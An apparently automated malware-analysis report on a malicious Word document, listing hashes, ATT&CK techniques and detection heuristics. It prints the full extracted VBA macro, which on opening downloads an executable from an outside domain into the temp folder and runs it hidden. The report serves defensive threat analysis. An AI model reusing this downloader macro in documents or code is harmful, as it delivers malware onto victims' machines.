Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 841eadd795b7463d…

MALICIOUS

Office (OOXML)

63.2 KB Created: 2016-02-25 17:07:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2016-03-01
MD5: 751d1bc3f185bade6403dc93e62cc2a4 SHA-1: fa1e8c234735a078ccc036e7e89fa16f61f83e5d SHA-256: 841eadd795b7463d3f6243643e41b2937278977d056b560e5aec965d278fe3dc
418 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing a VBA macro that executes upon opening. The macro attempts to download a second-stage payload from 'http://ynvdudhnyxdvqlqab.com/f/?update' and save it as 'cchrome.exe' in the user's temporary directory. This payload is then executed, indicating a downloader or dropper functionality.

Heuristics 10

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    shell Chr(34) + tmp_this + Chr(34)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    base_folder = CreateObject("WScript.Shell").ExpandEnvironmentStrings(ENVIRA) + "\" + folder_name
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    base_folder = CreateObject("WScript.Shell").ExpandEnvironmentStrings(ENVIRA) + "\" + folder_name
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    varByteArray = web.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    base_folder = CreateObject("WScript.Shell").ExpandEnvironmentStrings(ENVIRA) + "\" + folder_name
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • External hyperlinks (6) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 6 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/p/?LinkId=316968
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ynvdudhnyxdvqlqab.com/f/?update Referenced by macro
    • http://ynvdudhnyxdvqlqab.com/f/?update�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://go.microsoft.com/fwlink/p/?LinkId=316968Referenced by macro
    • http://go.microsoft.com/fwlink/?LinkId=316964Referenced by macro
    • http://go.microsoft.com/fwlink/?LinkId=316963Referenced by macro
    • https://go.microsoft.com/fwlink/p/?LinkId=316971Referenced by macro
    • https://go.microsoft.com/fwlink/p/?LinkId=316970Referenced by macro
    • https://go.microsoft.com/fwlink/p/?LinkId=316967Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3193 bytes
SHA-256: aa6167b96f5b800a3428bb7d720393fb6c54ba85bc05d9fb926e41c2fac67326
Detection
ClamAV: Vbs.Downloader.VBDownloader-6486516-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Const ENVIRA As String = "%TEMP%"
Const folder_name As String = "GoogleChromeMaster"
Const file_name As String = "cchrome.exe"
Const payload As String = "http://ynvdudhnyxdvqlqab.com/f/?update"
base_folder = CreateObject("WScript.Shell").ExpandEnvironmentStrings(ENVIRA) + "\" + folder_name
If createFolder(base_folder) = True Then
If SaveWebBinary(payload, base_folder + "\" + file_name) = True Then
tmp_this = base_folder + "\" + file_name
shell Chr(34) + tmp_this + Chr(34)
End If
End If
End Sub
Function SaveWebBinary(strUrl, strFile) As Boolean
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const ForWriting = 2
Dim web, varByteArray, strData, strBuffer, lngCounter, ado
On Error Resume Next
Err.Clear
Set web = Nothing
Set web = CreateObject("WinHttp.WinHttpRequest.5.1")
If web Is Nothing Then Set web = CreateObject("WinHttp.WinHttpRequest")
If web Is Nothing Then Set web = CreateObject("MSXML2.ServerXMLHTTP")
If web Is Nothing Then Set web = CreateObject("Microsoft.XMLHTTP")
web.Open "GET", strUrl, False
web.SetRequestHeader "REFERER", strUrl
web.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
web.SetRequestHeader "Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
web.SetRequestHeader "Accept-Language", "en-us,en;q=0.5"
web.SetRequestHeader "Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7"
web.Send
If Err.Number <> 0 Then
SaveWebBinary = False
Set web = Nothing
Exit Function
End If
If web.Status <> "200" Then
SaveWebBinary = False
Set web = Nothing
Exit Function
End If
varByteArray = web.ResponseBody
Set web = Nothing
On Error Resume Next
Set ado = Nothing
Set ado = CreateObject("ADODB.Stream")
If ado Is Nothing Then
Set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.OpenTextFile(strFile, ForWriting, True)
strData = ""
strBuffer = ""
For lngCounter = 0 To UBound(varByteArray)
ts.Write Chr(255 And AscB(MidB(varByteArray, lngCounter + 1, 1)))
Next
ts.Close
Else
ado.Type = adTypeBinary
ado.Open
ado.Write varByteArray
ado.SaveToFile strFile, adSaveCreateOverWrite
ado.Close
End If
SaveWebBinary = True
End Function
Function createFolder(folder) As Boolean
Set objFSO = CreateObject("Scripting.FileSystemObject")
If folderExist(folder) = False Then
objFSO.createFolder folder
createFolder = True
End If
End Function
Function folderExist(folder)
Set objFSO = CreateObject("Scripting.FileSystemObject")
folderExist = objFSO.FolderExists(folder)
End Function
Function fileExist(filename)
Set objFSO = CreateObject("Scripting.FileSystemObject")
fileExist = objFSO.FileExists(filename)
End Function
Sub shell(cmd)
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run cmd, 0, False
Set objShell = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 60c3e59b81f933e994ee69c5da1e0e9f756c1daf5a70627862719d29af801de2

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